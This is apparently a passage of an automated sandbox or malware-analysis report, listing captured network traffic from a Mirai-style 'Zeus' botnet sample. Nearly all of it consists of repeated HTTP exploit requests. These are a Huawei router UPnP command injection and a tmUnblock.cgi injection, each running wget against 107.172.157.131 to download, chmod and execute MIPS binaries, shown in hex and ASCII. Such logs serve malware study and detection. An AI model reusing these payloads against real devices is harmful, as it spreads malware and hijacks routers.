/bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 